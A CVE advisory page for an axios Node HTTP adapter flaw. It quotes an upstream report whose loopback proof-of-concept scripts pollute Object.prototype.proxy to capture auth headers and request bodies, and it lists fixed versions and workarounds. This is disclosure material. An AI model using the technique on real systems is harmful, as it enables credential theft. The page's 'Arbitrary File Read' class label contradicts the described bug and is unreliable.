HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 67320 axios node http adapter can use an inherited
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
High · CVSS 8.3CVE-2026-67320GHSA-GCFJ-64VW-6MP9

Axios Node HTTP adapter can use an inherited proxy after interceptor config cloningCVE-2026-67320

Answer in brief

CVE-2026-67320 records a High severity (CVSS 8.3) vulnerability in Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning. The current sources do not mark it as known exploited. The current feed maps axios (npm), axios (npm). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Jul 20, 2026Updated Sep 1, 2026Source checked Oct 17, 2026First seen by HOL Aug 3, 2026Material review Sep 1, 2026
Upstream Advisory

Key facts

Risk
High · CVSS 8.3
Exploitation
Not marked as known exploited
Affected software
3 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 8.3. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps axios (npm), axios (npm). Check affected ranges and fixed versions before updating.

Affected products and reported versions
ProductAffected versionsFixed versions
cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*Not reportedNot reported
Mapped affected packages and fixed versions
PackageAffected rangeFixed version
axiosnpm>=0.31.1,<0.33.00.33.0
axiosnpm>=1.15.2,<1.18.01.18.0

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for axios, axios.
  2. 2Review the reported fix. Update axios to 0.33.0; axios to 1.18.0 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Jul 20, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Sep 1, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Aug 3, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • NVD vulnerability recordnvd.nist.gov
  • Source referencevulncheck.com
  • GitHub security advisorygithub.com
Upstream source description

## Summary Axios’ Node.js HTTP adapter can route requests through an attacker-controlled proxy when `Object.prototype.proxy` is polluted and request configuration is materialized as a regular object before dispatch. Recent axios releases harden merged request config by creating a null-prototype object. However, request interceptors run after that merge and may return a replacement config. A common immutable interceptor pattern such as `{...config}` or `Object.assign({}, config)` converts the hardened config back into a normal object. Axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads `config.proxy` through the prototype chain. ## Impact In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can route affected HTTP requests through an attacker-controlled proxy. The highest confirmed impact is for plaintext HTTP requests. The proxy can observe explicit `Authorization` headers, axios-generated Basic auth from `config.auth`, request method, absolute URL, `Host`, and request body content. The proxy can also return its own response to axios for the affected request. This does not establish browser impact. It also does not establish HTTPS header or body disclosure under normal TLS validation. ## Affected Functionality Affected functionality is limited to axios requests that use the Node.js HTTP adapter, including default Node usage when the HTTP adapter is selected and explicit `adapter: 'http'` usage. The relevant configuration path is `config.proxy` in the Node HTTP adapter. The hardened-bypass path requires a request interceptor such as: ```js api.interceptors.request.use((config) => ({ ...config, headers: { ...config.headers, 'X-App': 'demo' } })); ``` Unaffected or mitigating conditions include browser adapters, the Node fetch adapter, no polluted `Object.prototype.proxy`, an own `proxy: false` or safe own `proxy` value on the config, and hardened releases where interceptors return the original null-prototype config instead of a regular object clone. ## Technical Details `lib/core/mergeConfig.js` creates a null-prototype merged config and uses own-property reads for merged values. This is intended to prevent polluted `Object.prototype` values from affecting config behavior. `lib/core/Axios.js` runs request interceptors after the merge. In both the asynchronous and synchronous interceptor paths, axios passes the interceptor-returned config into dispatch. `lib/core/dispatchRequest.js` accepts that returned config, transforms request data, selects the adapter, and calls the adapter without re-hardening or re-normalizing the config. `lib/adapters/http.js` uses own-property reads for several sensitive fields, but the initial proxy dispatch path still passes `config.proxy` directly into `setProxy()`. If an interceptor returned a regular object, `config.proxy` can resolve to inherited `Object.prototype.proxy`. ## Proof of Concept of Attack ```js import axios from './index.js'; import http from 'node:http'; for (const key of [ 'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY', 'http_proxy', 'https_proxy', 'all_proxy', 'NO_PROXY', 'no_proxy' ]) { delete process.env[key]; } const listen = (handler) => new Promise((resolve, reject) => { const server = http.createServer(handler); server.once('error', reject); server.listen(0, '127.0.0.1', () => resolve(server)); }); const close = (server) => new Promise((resolve) => server.close(resolve)); const targetHits = []; const proxyHits = []; const target = await listen((req, res) => { targetHits.push(req.url); res.end('target'); }); const proxy = await listen((req, res) => { let body = ''; req.on('data', (chunk) => body += chunk); req.on('end', () => { proxyHits.push({ url: req.url, authorization: req.headers.authorization, host: req.headers.host, body }); res.setHeader('content-type', 'application/json'); res.end('{"server":"proxy"}'); }); }); Object.prototype.proxy = { protocol: 'http', host: '127.0.0.1', port: proxy.address().port }; const api = axios.create(); api.interceptors.request.use((config) => ({ ...config, headers: { ...config.headers, 'X-App': 'demo' } })); try { const url = `http://127.0.0.1:${target.address().port}/api/secret`; const res = await api.post( url, {secret: 'request-body-secret'}, {headers: {Authorization: 'Bearer EXPLICIT_SECRET'}} ); console.log({ response: res.data, targetHits, proxyHits, finalConfigHasOwnProxy: Object.hasOwn(res.config, 'proxy') }); } finally { delete Object.prototype.proxy; await close(target); await close(proxy); } ``` Expected vulnerable result: the response comes from the proxy, `targetHits` is empty, and `proxyHits` contains the absolute URL, authorization header, host header, and request body. ## Workarounds Set an own `proxy: false` on affected requests or on an axios instance when proxy support is not required. Avoid request interceptors that return regular object clones of config in hardened releases. Returning the original config or cloning into a null-prototype object avoids this specific bypass, but this is fragile and should not replace a fix. Use the Node fetch adapter for affected requests where its behavior is compatible with the application. <details> <summary>Original Report</summary> ## Summary Axios hardens merged request config by creating a null-prototype object, preventing polluted Object.prototype properties from influencing request behavior. Request interceptors run after that hardening, and a normal immutable interceptor pattern such as {...config} or Object.assign({}, config) re-materializes the config as a regular object. Axios then dispatches that interceptor-returned object without re-hardening it. In the Node HTTP adapter, config.proxy is read through the prototype chain, allowing a polluted Object.prototype.proxy to route authenticated HTTP requests through an attacker-controlled proxy. ## Impact In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can cause affected axios requests to be sent through an attacker-controlled proxy when the application uses a request interceptor that returns a plain object copy of the config. Verified local impact: - Authenticated request redirection to attacker-controlled proxy. - Disclosure of explicit Authorization headers. - Disclosure of axios-generated Basic auth headers from config.auth. - Disclosure of request metadata: method, absolute URL, Host header. - Disclosure of POST body content. This report does not claim browser impact or proven HTTPS credential disclosure. The demonstrated credential and body disclosure is for Node HTTP-adapter requests over HTTP/plaintext. ## Affected component The affected component is the Node.js HTTP adapter request path after request interceptors have run. The issue requires: - Node.js HTTP adapter usage. - A polluted Object.prototype.proxy. - A request interceptor that returns a plain object copy of the config. - No own proxy: false or safe own proxy property on the request config. ## Affected versions Confirmed affected for this specific hardening-bypass variant: - [email protected] - [email protected] [email protected] was the latest published version observed via npm view axios version during validation. Related older behavior observed during testing: - 1.13.0, 1.13.6, 1.14.0, 1.15.0, and 1.15.1 routed via inherited Object.prototype.proxy even without the interceptor re-materialization step. That is related background, not the narrowed hardening-bypass variant described here. ## Root cause 1. Initial hardening Axios initially hardens merged request config by creating a null-prototype object in mergeConfig(), which is meant to prevent inherited Object.prototype properties from influencing request behavior. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25 2. Interceptor re-materialization Request interceptors run after that hardening step, and axios allows an interceptor to return a replacement config object. A common immutable pattern such as {...config} or Object.assign({}, config) converts the hardened null- prototype config back into a normal object with Object.prototype as its prototype. Permalinks: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199, https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218 3. No post-interceptor re-hardening Axios passes the interceptor-returned config into request dispatch without restoring the null-prototype property or otherwise normalizing the object into an own-property-only structure. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48 4. Prototype-chain read of proxy in the Node adapter The Node HTTP adapter later consults config.proxy, and this read is reachable through the prototype chain once the interceptor has re-materialized the config as a normal object. As a result, a polluted Object.prototype.proxy can redirect the outgoing authenticated request through an attacker-controlled proxy. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820 ## Why this is a security issue and not intended behavior Axios’ threat model explicitly treats polluted Object.prototype config reads as high-impact read-side gadgets and states that axios defends reachable config-read gadgets through own-property checks and null-prototype structures. The existing regression tests also assert that a polluted Object.prototype.proxy must not route requests through an attacker proxy. This behavior is therefore a bypass of axios’ existing prototype-pollution hardening, not merely a generic “polluted process” complaint. The interceptor does not need to be malicious; it can be ordinary application code that returns an immutable copy of the config. The attacker-controlled piece is the polluted prototype property supplied by a separate vulnerability or dependency. ## Realistic threat model A realistic exploit chain is: 1. A transitive dependency or upstream parser bug allows prototype pollution in a Node.js process. 2. The polluted property is Object.prototype.proxy, with host and port pointing to an attacker-controlled proxy. 3. The application uses axios with a request interceptor that returns a plain object copy, such as adding headers immutably. 4. The application sends an HTTP request with credentials or sensitive body data. 5. Axios routes that request through the inherited proxy configuration. This requires a prototype pollution primitive and a compatible interceptor pattern. It does not require the attacker to control the interceptor. ## Proof of concept Save as poc.mjs in the axios repository root: ```js import axios from './index.js'; import http from 'node:http'; const proxyEnvKeys = [ 'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY', 'http_proxy', 'https_proxy', 'all_proxy', 'NO_PROXY', 'no_proxy' ]; for (const key of proxyEnvKeys) delete process.env[key]; const listen = (handler) => new Promise((resolve, reject) => { const server = http.createServer(handler); server.once('error', reject); server.listen(0, '127.0.0.1', () => resolve(server)); }); const close = (server) => new Promise((resolve) => server.close(resolve)); const targetHits = []; const proxyHits = []; const target = await listen((req, res) => { let body = ''; req.on('data', (chunk) => body += chunk); req.on('end', () => { targetHits.push({ url: req.url, method: req.method, authorization: req.headers.authorization || null, body }); res.writeHead(200, {'Content-Type': 'application/json'}); res.end(JSON.stringify({server: 'target'})); }); }); const proxy = await listen((req, res) => { let body = ''; req.on('data', (chunk) => body += chunk); req.on('end', () => { proxyHits.push({ url: req.url, method: req.method, authorization: req.headers.authorization || null, host: req.headers.host || null, body }); res.writeHead(200, {'Content-Type': 'application/json'}); res.end(JSON.stringify({server: 'proxy'})); }); }); Object.prototype.proxy = { protocol: 'http', host: '127.0.0.1', port: proxy.address().port }; const api = axios.create(); api.interceptors.request.use((config) => ({ ...config, headers: { ...config.headers, 'X-App': 'demo' } })); try { const url = `http://127.0.0.1:${target.address().port}/api/secret`; const explicit = await api.get(url, { headers: {Authorization: 'Bearer EXPLICIT_SECRET'} }); proxyHits.length = 0; targetHits.length = 0; const basic = await api.get(url, { auth: {username: 'svc-account', password: 'prod-secret'} }); proxyHits.length = 0; targetHits.length = 0; const post = await api.post(url, {secret: 'request-body-secret'}, { headers: {Authorization: 'Bearer EXPLICIT_SECRET'} }); console.log(JSON.stringify({ explicitResponse: explicit.data, basicResponse: basic.data, postResponse: post.data, targetHits, proxyHits, finalConfigPrototype: Object.getPrototypeOf(post.config) === Object.prototype ? 'Object.prototype' : 'other', finalConfigHasOwnProxy: Object.prototype.hasOwnProperty.call(post.config, 'proxy') }, null, 2)); } finally { delete Object.prototype.proxy; await close(target); await close(proxy); } ``` Run: ```bash npm ci node poc.mjs ``` ## Observed results Representative observed output from local loopback testing: ```text { "explicitResponse": {"server": "proxy"}, "basicResponse": {"server": "proxy"}, "postResponse": {"server": "proxy"}, "targetHits": [], "proxyHits": [ { "url": "http://127.0.0.1:40613/api/secret", "method": "POST", "authorization": "Bearer EXPLICIT_SECRET", "host": "127.0.0.1:40613", "body": "{\"secret\":\"request-body-secret\"}" } ], "finalConfigPrototype": "Object.prototype", "finalConfigHasOwnProxy": false } Additional validation showed axios-generated Basic auth is also disclosed to the proxy: { "authorization": "Basic c3ZjLWFjY291bnQ6cHJvZC1zZWNyZXQ=" } ``` That value decodes to: svc-account:prod-secret Negative controls were also tested: - No interceptor: target receives request, proxy receives none. - Interceptor mutating and returning the same config object: proxy receives none. - Own proxy: false: proxy receives none. - Null-prototype clone interceptor: proxy receives none. - Fetch adapter in Node with the same interceptor: proxy receives none. ## Suggested remediation Re-harden the final request config after all request interceptors and before adapter dispatch. This should cover both asynchronous and synchronous interceptor paths. A practical fix would be to normalize the interceptor-returned object into a null-prototype, own-property-only config before calling dispatchRequest(), or at the start of dispatchRequest() itself. Security-sensitive adapter reads should also consistently use own-property access helpers. In particular, the Node HTTP adapter should not read config.proxy through the prototype chain. ## Minimal regression test Add an end-to-end Node HTTP adapter test that: 1. Starts a target server and attacker proxy on 127.0.0.1. 2. Sets Object.prototype.proxy to the attacker proxy. 3. Adds a request interceptor returning {...config, headers: {...config.headers}}. 4. Sends a request with an Authorization header. 5. Asserts the target server receives the request. 6. Asserts the attacker proxy receives no request. 7. Asserts the final config no longer exposes inherited proxy. A second assertion can cover config.auth to ensure axios-generated Basic auth is not sent to the attacker proxy. ## References / permalinks - mergeConfig() null-prototype hardening: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25 - Async interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199 - Synchronous interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218 - dispatchRequest() receives interceptor-returned config: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48 - Node HTTP adapter config.proxy read: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820 - Axios threat model for prototype-pollution read-side gadgets: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/THREATMODEL.md#L136-L144 - Existing proxy pollution regression test intent: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/tests/unit/prototypePollution.test.js#L1098-L1135 </details>

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • phpMyFAQ 4.2.0-alpha before 4.2.0-beta Information Disclosure via open-questions APIAlso CWE-200
  • Coder from 2.10.0 before 2.34.8 Information Disclosure via Agent /debug/manifestAlso CWE-200
  • Coder from 2.26.0 before 2.34.8 Information Disclosure via Workspace ACL EndpointAlso CWE-200

Record context

Vulnerability class
Arbitrary File Read
EPSS
Not reported
CWE IDs
CWE-200, CWE-1321
Source
GitHub Security Advisories
Source checked
Oct 17, 2026
References
12 linked sources
Open source record